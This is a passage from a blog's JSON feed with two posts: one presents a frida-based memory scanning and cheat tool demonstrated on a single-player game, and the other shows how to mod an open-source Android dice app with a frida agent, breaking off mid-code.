class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e: \u003cspan class=\"kt\"\u003eNativePointer\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003ecurrentScanResults\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eforEach\u003c/span\u003e\u003cspan class=\"p\"\u003e(({\u003c/span\u003e \u003cspan class=\"nx\"\u003eptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e \u003cspan class=\"p\"\u003e})\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eptr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nx\"\u003eProcess\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003epointerSize\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"nx\"\u003ereadPointer\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003eaddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003erpc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eexports\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003efirstScan\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003enextScan\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nx\"\u003egetAddresses\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eNotable highlights of the code above:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eThe \u003ccode\u003eCModule\u003c/code\u003e is built from C source code. The C code defines two functions, \u003ccode\u003escan_region\u003c/code\u003e and \u003ccode\u003efilter_scans\u003c/code\u003e, then exported as \u003ccode\u003eNativeFunction\u003c/code\u003es in the JS agent.\u003c/li\u003e\n\u003cli\u003eTo pass results back and forth between C and JS, it works like this:\n\u003cul\u003e\n\u003cli\u003eThe JS agent defines \u003ccode\u003ecurrentResults\u003c/code\u003e, a list of objects, each one defined by a \u003ccode\u003eNativePointer\u003c/code\u003e and a \u003ccode\u003ecount\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFor each range, the \u003ccode\u003escan_region\u003c/code\u003e creates a \u003ccode\u003eGArray\u003c/code\u003e of results, populating it with addresses that match the scan.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003escan_region\u003c/code\u003e returns the address of the array and its length, stored in a separate result pointer. The address and the length are used to append a new item in \u003ccode\u003ecurrentResults\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eThe flow for \u003ccode\u003efilter_scans\u003c/code\u003e is analogous.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\nThis implementation of memory scanning with CModules is just one way of doing things, simplified for the sake of the PoC. There are improvements that can be applied all over the code, such as using SIMD instructions to compare multiple words at once, or using simple arrays rather than glib arrays to avoid losing time on bound checking.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eTime to test this new agent:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.firstScan(128)\nFirst scan took 1705ms, total addresses found: 17196\n[Local::hollow_knight.x86_64 ]-\u0026gt; // earned some Geo\n[Local::hollow_knight.x86_64 ]-\u0026gt; rpc.exports.nextScan(131)\nNext scan took 1ms, total addresses found: 3\n[Local::hollow_knight.x86_64 ]-\u0026gt; var cur = rpc.exports.getAddresses()\n[Local::hollow_knight.x86_64 ]-\u0026gt; cur[0].writeU32(31339)\n\u0026#34;0x24f64c94\u0026#34;\n[Local::hollow_knight.x86_64 ]-\u0026gt; cur[1].writeU32(31339)\n\u0026#34;0x7f6d727511cc\u0026#34;\n[Local::hollow_knight.x86_64 ]-\u0026gt; cur[2].writeU32(31339)\n\u0026#34;0x7f6d76184880\u0026#34;\n[Local::hollow_knight.x86_64 ]-\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003cimg src=\"hk_31339_geo.png\" alt=\"hk_31339_geo.png\"\u003e\u003cp\u003eThe scan worked, and the first scan took less than two seconds, which is perfectly in line with the performance of the \u003ccode\u003eMemory.scan\u003c/code\u003e API.\u003c/p\u003e\n\u003cp\u003eMoreover, with the added flexibility of writing my own code in C, I can easily support custom scan types simply modifying the \u003ccode\u003escan_region\u003c/code\u003e and \u003ccode\u003efilter_scans\u003c/code\u003e code, just like this:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escan_type\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"nl\"\u003eEXACT\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue_at_addr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003evalue_to_scan\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"nl\"\u003eLESS_THAN\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue_at_addr\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue_to_scan\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"nl\"\u003eGREATER_THAN\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evalue_at_addr\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003evalue_to_scan\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eTRUE\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// ...\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"freat---feature-showcase\"\u003eFreat - Feature showcase\u003c/h2\u003e\n\u003cp\u003eAlright, after our little digression on how to use frida CModules to gain the best of the proverbial worlds, in this section I am going to showcase what I\u0026rsquo;ve built, taking you all on a journey of genuine and exploratory game hacking.\u003c/p\u003e\n\u003cp\u003eThe tool is called freat, an extremely brilliant and secret \u003cem\u003eportmanteau\u003c/em\u003e of the words \u003cem\u003efrida\u003c/em\u003e and \u003cem\u003echeat\u003c/em\u003e, with a little linguistic easter egg for our European friends.\u003c/p\u003e\n\u003ch3 id=\"wine-support-and-steam-proton-too\"\u003eWine support (and Steam Proton, too)\u003c/h3\u003e\n\u003cp\u003eFreat is cross-platform in the sense that the release package can be built for Linux/macOS/Windows, but also - and most importantly - in the sense that, independently of where the server runs, it can attach to games running on any machine where \u003ccode\u003efrida\u003c/code\u003e is supported.\nAmong the target providers (read about providers in \u003ca href=\"https://github.com/suidpit/freat/tree/main?tab=readme-ov-file#configuration\"\u003ethe documentation\u003c/a\u003e) that are implemented, I added Wine and Proton.\u003c/p\u003e\n\u003cp\u003eYou probably heard about \u003ca href=\"https://www.winehq.org/\"\u003eWine\u003c/a\u003e, the compatibility layer that powers pretty much every tool out there that Linux/macOS gamers use to play Windows games without dual booting.\nI thought it was cool to implement support for it, so that one could run Freat on a Linux host, run a Windows game through Wine, and still be able to attach to it.\u003c/p\u003e\n\u003cp\u003eTurns out a simple way to implement this is simply to download the \u003ccode\u003efrida-server\u003c/code\u003e release for Windows, run it under the correct Wine prefix (which basically is the \u0026ldquo;machine\u0026rdquo; where Wine installs programs and Windows libraries, and more than one can exist on the host), and then connect to the exposed server, and frida will be able to see the Windows processes running in the \u0026ldquo;virtual machine\u0026rdquo; (it\u0026rsquo;s not a virtual machine), and instrument, attach, etc.\u003c/p\u003e\n\u003cp\u003eWith a working support for Wine, the next logical step was tackling the \u003ca href=\"https://github.com/ValveSoftware/Proton\"\u003eProton\u003c/a\u003e layer. Proton is the black magic empowering the Steam Deck (and Linux gamers out there), and guess what, it\u0026rsquo;s actually a glorified fork of Wine. Which means, that supporting Proton is just a matter of scavenging a few directories to find out what is the correct Wine prefix for running Steam games!\u003c/p\u003e\n\u003cimg src=\"freat-proton.png\" alt=\"freat-proton.png\"\u003e\u003ch3 id=\"flexible-scanning\"\u003eFlexible Scanning\u003c/h3\u003e\n\u003cp\u003eCurrently, the following scan types have been implemented in Freat:\u003c/p\u003e\n\u003ch4 id=\"exact-scans\"\u003eExact Scans\u003c/h4\u003e\n\u003cp\u003eExact scans allow to scan (first scan) and filter (next scan) memory for a given value.\nWe\u0026rsquo;ve already seen this in the previous section about CModules. Here\u0026rsquo;s how to do it in Freat:\u003c/p\u003e\n\u003ch4 id=\"unknown-scans\"\u003eUnknown Scans\u003c/h4\u003e\n\u003cp\u003eSometimes, the game does not leak precise numbers for certain entities, and it rather uses visual representations such as spheres or bars.\u003c/p\u003e\n\u003cp\u003eIn those cases, the \u0026ldquo;first scan\u0026rdquo; should be an unknown scans, where essentially every possible variable is taken into consideration. The - initially huge - list is then usually narrowed down by means of relative scans.\u003c/p\u003e\n\u003ch4 id=\"relative-scans\"\u003eRelative Scans\u003c/h4\u003e\n\u003cp\u003eRelative scans allow to filter (next scan) current \u0026ldquo;selected\u0026rdquo; addresses, only picking those with a value that either increased, decreased or remained unchanged.\u003c/p\u003e\n\u003cp\u003eIt can be quite useful to find game properties that do not expose exact values upon change, so it works well in tandem with unknown scans.\u003c/p\u003e\n\u003cfigure\u003e\n  \u003cvideo src=\"/posts/freat-intro/freat_scan.mp4\" preload=\"metadata\" style=\"max-width:100%;height:auto;\" autoplay loop muted controls playsinline\u003e\n    \u003cp\u003eYour browser cannot play this video. \u003ca href=\"/posts/freat-intro/freat_scan.mp4\"\u003eDownload it\u003c/a\u003e.\u003c/p\u003e\n  \u003c/video\u003e\n\u003c/figure\u003e\n\n\u003ch3 id=\"memory-freezingscaling\"\u003eMemory Freezing/Scaling\u003c/h3\u003e\n\u003cp\u003eFor some cheats, it is enough to overwrite a value in a single shot. This would work well, for instance, with the amount of gold our character possesses.\u003c/p\u003e\n\u003cp\u003eFor some other variables, however, a one-shot write is not convenient. Rewriting our health, or our current speed, to a certain value, does not prevent the game from rewriting it soon after because enemies hit us or because the game loop has recomputed the speed.\u003c/p\u003e\n\u003cp\u003eFreezing to the rescue. Freezing boils down to, in a very hot loop (implemented as a native thread running in, guess what, a \u003ccode\u003eCModule\u003c/code\u003e), constantly rewriting the target variable with a value of our choice.\u003c/p\u003e\n\u003cp\u003eA similar, but practically different mode of freezing is \u003cem\u003escaling\u003c/em\u003e. When scaling a variable, instead of fixing it to a target value, the module takes \u003cstrong\u003ethe last value that was written by the game and multiplies it by a given factor.\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eThis can be used, notably, for position-related variables such as horizontal velocity in 2D games. In those games, in fact, the velocity will be either zero, negative, or positive, depending on whether we\u0026rsquo;re moving left or right.\u003c/p\u003e\n\u003cp\u003eBy scaling the existing value by a given factor, instead of choosing a target value, it is possible to just amplify or reduce a game property, while preserving functionality.\u003c/p\u003e\n\u003cfigure\u003e\n  \u003cvideo src=\"/posts/freat-intro/freat_scale.mp4\" preload=\"metadata\" style=\"max-width:100%;height:auto;\" autoplay loop muted controls playsinline\u003e\n    \u003cp\u003eYour browser cannot play this video. \u003ca href=\"/posts/freat-intro/freat_scale.mp4\"\u003eDownload it\u003c/a\u003e.\u003c/p\u003e\n  \u003c/video\u003e\n\u003c/figure\u003e\n\n\u003ch3 id=\"watchpoints\"\u003eWatchpoints\u003c/h3\u003e\n\u003cp\u003eScanning, freezing and writing memory can only get us so far. Most likely, starting from memory is just the first step toward identifying a function responsible for updating a property, start reverse engineering the game executable, and then writing a proper patch/mod.\u003c/p\u003e\n\u003cp\u003eFor this reason, Freat supports setting watchpoints in read and/or write on identified addresses. Upon access, a popup appears with a simple stack-trace and some information on the modules and the offsets, to help bootstrapping the reverse engineering process.\u003c/p\u003e\n\u003cimg src=\"freat_watchpoints.png\" alt=\"freat_watchpoints.png\"\u003e\u003ch2 id=\"future-work-\"\u003eFuture work (?)\u003c/h2\u003e\n\u003cp\u003eEven though this started as a lame weekend experiment, I\u0026rsquo;m having fun exploring this space, so I might find other lame weekends to dedicate to it.\u003c/p\u003e\n\u003cp\u003eSome improvements that come to my mind:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproving scan/freezing performances\u003c/li\u003e\n\u003cli\u003eImplementing support for live patches/code injections\u003c/li\u003e\n\u003cli\u003eImplementing pointer scans to derandomize addresses and re-compute on new instances\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"conclusion\"\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eThe goal of this proof of concept was, as it often happens with these journeys, to learn.\nFor me - and I\u0026rsquo;m sure I\u0026rsquo;m not alone in this - building tools is the best way to do so.\u003c/p\u003e\n\u003cp\u003eAfter all, that\u0026rsquo;s why we take notes: we write things down so that our brain is able to spell them out and, in doing so, things get ordered and knowledge gaps immediately appear visible.\u003c/p\u003e\n\u003cp\u003eIn the very same way, writing tools is a great way of \u0026ldquo;testing\u0026rdquo; our knowledge - or the one that we believe we have - and it\u0026rsquo;s guaranteed that very soon in the process we\u0026rsquo;ll start to find gaps, and new rabbit holes, and it all becomes a great playground for innovation.\u003c/p\u003e\n\u003cp\u003eThe code is \u003ca href=\"https://github.com/suidpit/freat\"\u003ehosted on GitHub\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThis journey is not over, by the way: while developing Freat, I faced new problems and found new solutions, and then\u0026hellip;I gave in to scope creep and started working on more advanced features (some of them are still not public yet). I\u0026rsquo;ll write more!\u003c/p\u003e\n\u003cp\u003eUntil next time. Happy hacking!\u003c/p\u003e\n","summary":"Can we mash together frida, Python and Godot to write an ugly CheatEngine clone and learn more about game hacking?","date_published":"2026-02-24T12:00:48+01:00"},{"id":"https://suidpit.sh/posts/2025-10-23-modding-distributing-frida-apps/","url":"https://suidpit.sh/posts/2025-10-23-modding-distributing-frida-apps/","title":"Modding and distributing mobile apps with frida","content_html":"\u003cp\u003eFor a side-project of mine, I recently faced the challenge of modding an application with \u003ccode\u003efrida\u003c/code\u003e, and then distribute the modded application to a couple friends.\u003c/p\u003e\n\u003cp\u003eNow, using frida in its \u003cem\u003eno-bs\u003c/em\u003e mode, that is, a host machine plugged via USB to a rooted phone, is simple and very widely documented in the internet. However, \u003ccode\u003efrida\u003c/code\u003e also supports autonomous script execution, which is ideal for mods.\u003c/p\u003e\n\u003cp\u003eThis mode of operation is, alas, less used and documented. Moreover, the little documentation that exists leaves a lot to be desired, and with the advent of Frida 17 (which introduced important changes), is now oftentimes wrong.\u003c/p\u003e\n\u003cp\u003eIn this blogpost I\u0026rsquo;m going to walk through a workflow that should work for your modding quests.\u003c/p\u003e\n\u003ch2 id=\"the-lab\"\u003eThe Lab\u003c/h2\u003e\n\u003cp\u003eFor this experiment, let\u0026rsquo;s take a simple app and a simple mod.\u003c/p\u003e\n\u003cp\u003eThe app picked for this experiment is \u003ca href=\"https://f-droid.org/en/packages/org.secuso.privacyfriendlydicer/\"\u003eDicer\u003c/a\u003e . It\u0026rsquo;s an app to, well, roll dice.\u003c/p\u003e\n\u003cimg src=\"https://cdn.jsdelivr.net/gh/suidpit/images@master/uPic/rollDice.gif\" style=\"zoom:70%\" /\u003e\n\u003cp\u003eNow, about the mod\u0026hellip;if there\u0026rsquo;s one thing we want from an app that rolls dice, is controlling the result predictably, right?\u003c/p\u003e\n\u003cp\u003eSo yeah, it\u0026rsquo;s exactly what you would expect: \u003cstrong\u003ewe\u0026rsquo;re going to mod the app so that we always get ONE, no matter how many times we roll\u003c/strong\u003e.\u003c/p\u003e\n\u003ch2 id=\"create-the-agent\"\u003eCreate the Agent\u003c/h2\u003e\n\u003cp\u003eAs mentioned above, since Frida 17, bridges are not part of the of the GumJS runtime anymore, which means that bridges need to be pulled in the agent just like every other package we would need to use.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003efrida-tools\u003c/code\u003e package contains a useful script to scaffold a new frida agent:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e❯ frida-create -t agent -o mod\nCreated mod/package.json\nCreated mod/tsconfig.json\nCreated mod/agent/index.ts\nCreated mod/agent/logger.ts\nCreated mod/.gitignore\n\nRun `npm install` to bootstrap, then:\n- Keep one terminal running: npm run watch\n- Inject agent using the REPL: frida Calculator -l _agent.js\n- Edit agent/*.ts - REPL will live-reload on save\n\nTip: Use an editor like Visual Studio Code for code completion, inline docs,\n     instant type-checking feedback, refactoring tools, etc.\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThis commands creates a new typescript project, configured with all the correct switches and scripts that make compiling frida agents as easy as running \u003ccode\u003enpm run build\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eTime to write the mod.\u003c/p\u003e\n\u003ch2 id=\"mod-development\"\u003eMod Development\u003c/h2\u003e\n\u003cp\u003eMy intention is to keep this blogpost short, so I will not delve into frida development or Android reverse engineering. So here\u0026rsquo;s the full code of the mod:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e9\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"nx\"\u003eJava\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;frida-java-bridge\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003eJava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eperform\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003edicer\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eJava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 